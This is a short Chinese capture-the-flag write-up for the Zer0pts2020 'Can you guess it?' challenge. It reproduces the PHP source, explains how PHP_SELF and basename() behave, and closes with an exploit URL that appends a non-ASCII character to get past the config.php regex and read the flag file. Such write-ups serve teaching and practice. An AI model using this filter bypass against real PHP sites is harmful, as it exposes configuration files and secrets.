[Zer0pts2020]Can you guess it? basename()函数绕过&正则表达式绕过
审计源码;
<?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?>
$_SERVER['PHP_SELF']是当前执行的脚本名,比如url是:http://xxx/index.php $SERVER['PHP_SELF']的值就是index.php
如果url是:http://xxx/index.php/a.php/a/b/c/d/?a=1 $_SERVER['PHP_SELF']的值就是index.php/a.php/a/b/c/d/ (忽略传参)
源码里有一句:
highlight_file(basename($_SERVER['PHP_SELF']));
如果url是:http://xxx/index.php/a basename($_SERVER['PHP_SELF'])的值就是a (只看最后一个/后面的,同样忽略传参)
正则:/config\.php\/*$/i 最后是个*,传一个中文字符(打印不出来),正则就会失效
本题exp:http://xxx/index.php/config.php/啊?source